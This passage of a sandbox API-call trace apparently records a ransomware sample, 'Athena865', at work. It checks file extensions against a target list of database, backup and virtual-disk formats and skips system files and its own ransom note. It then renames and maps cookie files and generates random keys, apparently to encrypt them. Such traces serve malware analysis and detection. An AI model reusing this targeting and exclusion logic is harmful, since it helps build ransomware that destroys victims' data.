3 [0050.139] lstrcmpiW (lpString1="txt", lpString2="kdb") returned 1 [0050.140] lstrlenW (lpString="kexi") returned 4 [0050.140] lstrcmpiW (lpString1=".txt", lpString2="kexi") returned -1 [0050.140] lstrlenW (lpString="kexic") returned 5 [0050.140] lstrcmpiW (lpString1="].txt", lpString2="kexic") returned -1 [0050.140] lstrlenW (lpString="kexis") returned 5 [0050.140] lstrcmpiW (lpString1="].txt", lpString2="kexis") returned -1 [0050.140] lstrlenW (lpString="lgc") returned 3 [0050.140] lstrcmpiW (lpString1="txt", lpString2="lgc") returned 1 [0050.140] lstrlenW (lpString="lwx") returned 3 [0050.140] lstrcmpiW (lpString1="txt", lpString2="lwx") returned 1 [0050.140] lstrlenW (lpString="maf") returned 3 [0050.140] lstrcmpiW (lpString1="txt", lpString2="maf") returned 1 [0050.140] lstrlenW (lpString="maq") returned 3 [0050.140] lstrcmpiW (lpString1="txt", lpString2="maq") returned 1 [0050.140] lstrlenW (lpString="mar") returned 3 [0050.140] lstrcmpiW (lpString1="txt", lpString2="mar") returned 1 [0050.140] lstrlenW (lpString="marshal") returned 7 [0050.140] lstrcmpiW (lpString1="[1].txt", lpString2="marshal") returned -1 [0050.140] lstrlenW (lpString="mas") returned 3 [0050.140] lstrcmpiW (lpString1="txt", lpString2="mas") returned 1 [0050.140] lstrlenW (lpString="mav") returned 3 [0050.140] lstrcmpiW (lpString1="txt", lpString2="mav") returned 1 [0050.140] lstrlenW (lpString="maw") returned 3 [0050.140] lstrcmpiW (lpString1="txt", lpString2="maw") returned 1 [0050.140] lstrlenW (lpString="mdbhtml") returned 7 [0050.140] lstrcmpiW (lpString1="[1].txt", lpString2="mdbhtml") returned -1 [0050.140] lstrlenW (lpString="mdn") returned 3 [0050.140] lstrcmpiW (lpString1="txt", lpString2="mdn") returned 1 [0050.140] lstrlenW (lpString="mdt") returned 3 [0050.140] lstrcmpiW (lpString1="txt", lpString2="mdt") returned 1 [0050.140] lstrlenW (lpString="mfd") returned 3 [0050.140] lstrcmpiW (lpString1="txt", lpString2="mfd") returned 1 [0050.140] lstrlenW (lpString="mpd") returned 3 [0050.140] lstrcmpiW (lpString1="txt", lpString2="mpd") returned 1 [0050.141] lstrlenW (lpString="mrg") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="mrg") returned 1 [0050.141] lstrlenW (lpString="mud") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="mud") returned 1 [0050.141] lstrlenW (lpString="mwb") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="mwb") returned 1 [0050.141] lstrlenW (lpString="myd") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="myd") returned 1 [0050.141] lstrlenW (lpString="ndf") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="ndf") returned 1 [0050.141] lstrlenW (lpString="nnt") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="nnt") returned 1 [0050.141] lstrlenW (lpString="nrmlib") returned 6 [0050.141] lstrcmpiW (lpString1="1].txt", lpString2="nrmlib") returned -1 [0050.141] lstrlenW (lpString="ns2") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="ns2") returned 1 [0050.141] lstrlenW (lpString="ns3") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="ns3") returned 1 [0050.141] lstrlenW (lpString="ns4") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="ns4") returned 1 [0050.141] lstrlenW (lpString="nsf") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="nsf") returned 1 [0050.141] lstrlenW (lpString="nv") returned 2 [0050.141] lstrcmpiW (lpString1="xt", lpString2="nv") returned 1 [0050.141] lstrlenW (lpString="nv2") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="nv2") returned 1 [0050.141] lstrlenW (lpString="nwdb") returned 4 [0050.141] lstrcmpiW (lpString1=".txt", lpString2="nwdb") returned -1 [0050.141] lstrlenW (lpString="nyf") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="nyf") returned 1 [0050.141] lstrlenW (lpString="odb") returned 3 [0050.141] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0050.141] lstrlenW (lpString="odb") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0050.142] lstrlenW (lpString="oqy") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="oqy") returned 1 [0050.142] lstrlenW (lpString="ora") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="ora") returned 1 [0050.142] lstrlenW (lpString="orx") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="orx") returned 1 [0050.142] lstrlenW (lpString="owc") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="owc") returned 1 [0050.142] lstrlenW (lpString="p96") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="p96") returned 1 [0050.142] lstrlenW (lpString="p97") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="p97") returned 1 [0050.142] lstrlenW (lpString="pan") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="pan") returned 1 [0050.142] lstrlenW (lpString="pdb") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="pdb") returned 1 [0050.142] lstrlenW (lpString="pdm") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="pdm") returned 1 [0050.142] lstrlenW (lpString="pnz") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="pnz") returned 1 [0050.142] lstrlenW (lpString="qry") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="qry") returned 1 [0050.142] lstrlenW (lpString="qvd") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="qvd") returned 1 [0050.142] lstrlenW (lpString="rbf") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="rbf") returned 1 [0050.142] lstrlenW (lpString="rctd") returned 4 [0050.142] lstrcmpiW (lpString1=".txt", lpString2="rctd") returned -1 [0050.142] lstrlenW (lpString="rod") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="rod") returned 1 [0050.142] lstrlenW (lpString="rodx") returned 4 [0050.142] lstrcmpiW (lpString1=".txt", lpString2="rodx") returned -1 [0050.142] lstrlenW (lpString="rpd") returned 3 [0050.142] lstrcmpiW (lpString1="txt", lpString2="rpd") returned 1 [0050.143] lstrlenW (lpString="rsd") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="rsd") returned 1 [0050.143] lstrlenW (lpString="sas7bdat") returned 8 [0050.143] lstrcmpiW (lpString1="e[1].txt", lpString2="sas7bdat") returned -1 [0050.143] lstrlenW (lpString="sbf") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="sbf") returned 1 [0050.143] lstrlenW (lpString="scx") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="scx") returned 1 [0050.143] lstrlenW (lpString="sdb") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="sdb") returned 1 [0050.143] lstrlenW (lpString="sdc") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="sdc") returned 1 [0050.143] lstrlenW (lpString="sdf") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="sdf") returned 1 [0050.143] lstrlenW (lpString="sis") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="sis") returned 1 [0050.143] lstrlenW (lpString="spq") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="spq") returned 1 [0050.143] lstrlenW (lpString="te") returned 2 [0050.143] lstrcmpiW (lpString1="xt", lpString2="te") returned 1 [0050.143] lstrlenW (lpString="teacher") returned 7 [0050.143] lstrcmpiW (lpString1="[1].txt", lpString2="teacher") returned -1 [0050.143] lstrlenW (lpString="tmd") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="tmd") returned 1 [0050.143] lstrlenW (lpString="tps") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="tps") returned 1 [0050.143] lstrlenW (lpString="trc") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0050.143] lstrlenW (lpString="trc") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0050.143] lstrlenW (lpString="trm") returned 3 [0050.143] lstrcmpiW (lpString1="txt", lpString2="trm") returned 1 [0050.144] lstrlenW (lpString="udb") returned 3 [0050.144] lstrcmpiW (lpString1="txt", lpString2="udb") returned -1 [0050.144] lstrlenW (lpString="udl") returned 3 [0050.144] lstrcmpiW (lpString1="txt", lpString2="udl") returned -1 [0050.144] lstrlenW (lpString="usr") returned 3 [0050.144] lstrcmpiW (lpString1="txt", lpString2="usr") returned -1 [0050.144] lstrlenW (lpString="v12") returned 3 [0050.144] lstrcmpiW (lpString1="txt", lpString2="v12") returned -1 [0050.144] lstrlenW (lpString="vis") returned 3 [0050.144] lstrcmpiW (lpString1="txt", lpString2="vis") returned -1 [0050.144] lstrlenW (lpString="vpd") returned 3 [0050.144] lstrcmpiW (lpString1="txt", lpString2="vpd") returned -1 [0050.144] lstrlenW (lpString="vvv") returned 3 [0050.144] lstrcmpiW (lpString1="txt", lpString2="vvv") returned -1 [0050.144] lstrlenW (lpString="wdb") returned 3 [0050.144] lstrcmpiW (lpString1="txt", lpString2="wdb") returned -1 [0050.144] lstrlenW (lpString="wmdb") returned 4 [0050.144] lstrcmpiW (lpString1=".txt", lpString2="wmdb") returned -1 [0050.144] lstrlenW (lpString="wrk") returned 3 [0050.144] lstrcmpiW (lpString1="txt", lpString2="wrk") returned -1 [0050.144] lstrlenW (lpString="xdb") returned 3 [0050.144] lstrcmpiW (lpString1="txt", lpString2="xdb") returned -1 [0050.144] lstrlenW (lpString="xld") returned 3 [0050.144] lstrcmpiW (lpString1="txt", lpString2="xld") returned -1 [0050.144] lstrlenW (lpString="xmlff") returned 5 [0050.144] lstrcmpiW (lpString1="].txt", lpString2="xmlff") returned -1 [0050.144] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.Athena865") returned 98 [0050.144] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.athena865"), dwFlags=0x1) returned 1 [0050.150] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.150] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=83) returned 1 [0050.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.150] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.151] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.151] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.151] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x360, lpName=0x0) returned 0x154 [0050.153] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x360) returned 0x100000 [0050.154] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.155] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.155] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.156] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.156] CloseHandle (hObject=0x154) returned 1 [0050.156] CloseHandle (hObject=0x17c) returned 1 [0050.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.156] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d72bcd0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e6a4bd0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e6a4bd0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adobe[3].txt", cAlternateFileName="5P0100~1.TXT")) returned 1 [0050.156] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.156] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.156] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2=".") returned 1 [0050.156] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="..") returned 1 [0050.156] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="windows") returned -1 [0050.156] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="bootmgr") returned -1 [0050.156] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="temp") returned -1 [0050.156] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="pagefile.sys") returned -1 [0050.156] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="boot") returned -1 [0050.156] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="ids.txt") returned -1 [0050.156] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="ntuser.dat") returned -1 [0050.156] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="perflogs") returned -1 [0050.157] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="MSBuild") returned -1 [0050.157] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adobe[3].txt") returned 33 [0050.157] lstrcpyW (in: lpString1=0x241e8b6, lpString2="5p5nrgjn0js_halpmcxz@adobe[3].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt") returned="5p5nrgjn0js_halpmcxz@adobe[3].txt" [0050.157] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adobe[3].txt") returned 33 [0050.157] lstrlenW (lpString="Athena865") returned 9 [0050.157] lstrcmpiW (lpString1="be[3].txt", lpString2="Athena865") returned 1 [0050.157] lstrlenW (lpString=".dll") returned 4 [0050.157] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2=".dll") returned 1 [0050.157] lstrlenW (lpString=".lnk") returned 4 [0050.157] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2=".lnk") returned 1 [0050.157] lstrlenW (lpString=".ini") returned 4 [0050.157] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2=".ini") returned 1 [0050.157] lstrlenW (lpString=".sys") returned 4 [0050.157] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2=".sys") returned 1 [0050.157] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adobe[3].txt") returned 33 [0050.157] lstrlenW (lpString="bak") returned 3 [0050.157] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0050.157] lstrlenW (lpString="ba_") returned 3 [0050.157] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0050.157] lstrlenW (lpString="dbb") returned 3 [0050.157] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0050.157] lstrlenW (lpString="vmdk") returned 4 [0050.157] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0050.157] lstrlenW (lpString="rar") returned 3 [0050.157] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0050.157] lstrlenW (lpString="zip") returned 3 [0050.157] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0050.157] lstrlenW (lpString="tgz") returned 3 [0050.157] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0050.157] lstrlenW (lpString="vbox") returned 4 [0050.157] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0050.157] lstrlenW (lpString="vdi") returned 3 [0050.157] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0050.158] lstrlenW (lpString="vhd") returned 3 [0050.158] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0050.158] lstrlenW (lpString="vhdx") returned 4 [0050.158] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0050.158] lstrlenW (lpString="avhd") returned 4 [0050.158] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0050.158] lstrlenW (lpString="db") returned 2 [0050.158] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0050.158] lstrlenW (lpString="db2") returned 3 [0050.158] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0050.158] lstrlenW (lpString="db3") returned 3 [0050.158] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0050.158] lstrlenW (lpString="dbf") returned 3 [0050.158] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0050.158] lstrlenW (lpString="mdf") returned 3 [0050.158] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0050.158] lstrlenW (lpString="mdb") returned 3 [0050.158] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0050.158] lstrlenW (lpString="sql") returned 3 [0050.158] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0050.158] lstrlenW (lpString="sqlite") returned 6 [0050.158] lstrcmpiW (lpString1="3].txt", lpString2="sqlite") returned -1 [0050.158] lstrlenW (lpString="sqlite3") returned 7 [0050.158] lstrcmpiW (lpString1="[3].txt", lpString2="sqlite3") returned -1 [0050.158] lstrlenW (lpString="sqlitedb") returned 8 [0050.158] lstrcmpiW (lpString1="e[3].txt", lpString2="sqlitedb") returned -1 [0050.158] lstrlenW (lpString="xml") returned 3 [0050.158] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0050.158] lstrlenW (lpString="$er") returned 3 [0050.158] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0050.158] lstrlenW (lpString="4dd") returned 3 [0050.158] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0050.158] lstrlenW (lpString="4dl") returned 3 [0050.159] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0050.159] lstrlenW (lpString="^^^") returned 3 [0050.159] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0050.159] lstrlenW (lpString="abs") returned 3 [0050.159] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0050.159] lstrlenW (lpString="abx") returned 3 [0050.159] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0050.159] lstrlenW (lpString="accdb") returned 5 [0050.159] lstrcmpiW (lpString1="].txt", lpString2="accdb") returned -1 [0050.159] lstrlenW (lpString="accdc") returned 5 [0050.159] lstrcmpiW (lpString1="].txt", lpString2="accdc") returned -1 [0050.159] lstrlenW (lpString="accde") returned 5 [0050.159] lstrcmpiW (lpString1="].txt", lpString2="accde") returned -1 [0050.159] lstrlenW (lpString="accdr") returned 5 [0050.159] lstrcmpiW (lpString1="].txt", lpString2="accdr") returned -1 [0050.159] lstrlenW (lpString="accdt") returned 5 [0050.159] lstrcmpiW (lpString1="].txt", lpString2="accdt") returned -1 [0050.159] lstrlenW (lpString="accdw") returned 5 [0050.159] lstrcmpiW (lpString1="].txt", lpString2="accdw") returned -1 [0050.159] lstrlenW (lpString="accft") returned 5 [0050.159] lstrcmpiW (lpString1="].txt", lpString2="accft") returned -1 [0050.159] lstrlenW (lpString="adb") returned 3 [0050.159] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0050.159] lstrlenW (lpString="adb") returned 3 [0050.159] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0050.159] lstrlenW (lpString="ade") returned 3 [0050.159] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0050.159] lstrlenW (lpString="adf") returned 3 [0050.159] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0050.159] lstrlenW (lpString="adn") returned 3 [0050.159] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0050.159] lstrlenW (lpString="adp") returned 3 [0050.159] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0050.159] lstrlenW (lpString="alf") returned 3 [0050.160] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0050.160] lstrlenW (lpString="ask") returned 3 [0050.160] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0050.160] lstrlenW (lpString="btr") returned 3 [0050.160] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0050.160] lstrlenW (lpString="cat") returned 3 [0050.160] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0050.160] lstrlenW (lpString="cdb") returned 3 [0050.160] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0050.160] lstrlenW (lpString="ckp") returned 3 [0050.160] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0050.160] lstrlenW (lpString="cma") returned 3 [0050.160] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0050.160] lstrlenW (lpString="cpd") returned 3 [0050.160] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0050.160] lstrlenW (lpString="dacpac") returned 6 [0050.160] lstrcmpiW (lpString1="3].txt", lpString2="dacpac") returned -1 [0050.160] lstrlenW (lpString="dad") returned 3 [0050.160] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0050.160] lstrlenW (lpString="dadiagrams") returned 10 [0050.160] lstrcmpiW (lpString1="obe[3].txt", lpString2="dadiagrams") returned 1 [0050.160] lstrlenW (lpString="daschema") returned 8 [0050.160] lstrcmpiW (lpString1="e[3].txt", lpString2="daschema") returned 1 [0050.160] lstrlenW (lpString="db-journal") returned 10 [0050.160] lstrcmpiW (lpString1="obe[3].txt", lpString2="db-journal") returned 1 [0050.160] lstrlenW (lpString="db-shm") returned 6 [0050.160] lstrcmpiW (lpString1="3].txt", lpString2="db-shm") returned -1 [0050.160] lstrlenW (lpString="db-wal") returned 6 [0050.160] lstrcmpiW (lpString1="3].txt", lpString2="db-wal") returned -1 [0050.160] lstrlenW (lpString="dbc") returned 3 [0050.160] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0050.160] lstrlenW (lpString="dbs") returned 3 [0050.160] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0050.160] lstrlenW (lpString="dbt") returned 3 [0050.161] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0050.161] lstrlenW (lpString="dbv") returned 3 [0050.161] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0050.161] lstrlenW (lpString="dbx") returned 3 [0050.161] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0050.161] lstrlenW (lpString="dcb") returned 3 [0050.161] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0050.161] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.Athena865") returned 98 [0050.161] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.athena865"), dwFlags=0x1) returned 1 [0050.163] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.163] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=551) returned 1 [0050.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.164] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.164] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.165] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.165] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x530, lpName=0x0) returned 0x154 [0050.166] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x530) returned 0x100000 [0050.167] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.168] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.168] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.168] HeapFree (in: hHeap=0x4f0000, 